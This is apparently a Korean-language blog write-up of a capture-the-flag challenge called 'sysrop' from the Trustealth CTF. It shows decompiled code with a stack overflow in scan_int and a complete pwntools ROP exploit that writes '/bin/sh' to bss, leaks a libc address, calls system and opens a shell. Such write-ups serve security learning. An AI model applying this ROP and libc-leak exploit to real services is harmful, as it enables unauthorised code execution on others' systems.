ipwn
[Trustealth] sysrop 본문
흠 지금 생각해보니 디미고 신입생 대상으로 한 CTF인데 10위권 안에 못들다니 ㅜㅜ 위에 사람들이 전부 외부인이라지만 못 풀만한 수준의 문제들이 있다는 것 자체가 내 수준이 심각하다는 걸 의미할 것 같다.
그래 암튼 라업이나 쓰자. 이 문제도 생각보다 쉽게 풀렸다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax start_init(); while ( 1 ) { while ( 1 ) { menu(*(_QWORD *)&argc); v3 = scan_int(); if ( v3 != 2 ) break; Free(*(_QWORD *)&argc); } if ( v3 > 2 ) { if ( v3 == 3 ) { View(*(_QWORD *)&argc); } else { if ( v3 == 4 ) { puts("Bye~"); exit(1); } LABEL_14: *(_QWORD *)&argc = "Oh..."; puts("Oh..."); } } else { if ( v3 != 1 ) goto LABEL_14; Allocate(); } } } |
메임함수는 이렇게 생겼는데 사실 별로 볼 것도 없다.
그냥 scan_int 함수에서 rop가능하다.
int scan_int() { char buf; // [rsp+0h] [rbp-A0h] read(0, &buf, 0xFFuLL); return atoi(&buf); } |
보면 이렇게 돼 있는데, read함수가 있으니 bss에다가 /bin/sh넣어주고, puts나 printf도 있으니, libc leak도 가능할거고
그냥 해주면 되는데, 문제는 버퍼 공간에 입력받는 공간에 한 번에 익스 가능하게 payload를 넣어줄 수 없다는 것인데, 나 같은 경우는 payload로 적당히 /bin/sh를 넣는 순서, libc leak하는 순서, system 함수 call하는 순서등등 이렇게 나눠서, scan_int함수를 여러번 호출해줬다.
그럼 행위를 다 마친 뒤에도 buf에 값을 더 써서 다음 행위를 진행해줄 수 있으니까, 익스 가능하다.
from pwn import * #p = remote('198.13.62.9', 5466) p = process('./sysrop') e = ELF('./sysrop') init = 0x4008b3 prdi = 0x400d33 prdx = 0x40085a prsi = 0x400d31 #prsi pr15 read_p, read_g, puts_p = e.plt['read'], e.got['read'], e.plt['puts'] offset = 0xb1ec0 cmd = '/bin/sh\x00' pay = '' pay += 'A'*168 p.recv() p.send(pay + p64(prdi) + p64(0) + p64(prsi) + p64(e.bss())*2 + p64(prdx) + p64(len(cmd) + 2) + p64(read_p) + p64(init)) p.send(cmd) p.send(pay + p64(prdi) + p64(read_g) + p64(puts_p) + p64(init)) a = p.recvuntil('\n') read_addr = u64(a[0:a.find('\n')] + '\x00\x00') system = read_addr - offset log.info('read addr : ' + str(hex(read_addr))) log.info('system addr : ' + str(hex(system))) p.sendline(pay + p64(prdi) + p64(e.bss()) + p64(system)) p.interactive() |
끝
근데 사실 Full RELRO도 못봐서 got 덮어놓고 왜 안되지 하면서 시간 엄청 날렸다. 난 바보다.
'CTF's > Trustealth' 카테고리의 다른 글
[Trustealth] rpggame (0) | 2018.04.16 |
---|
Comments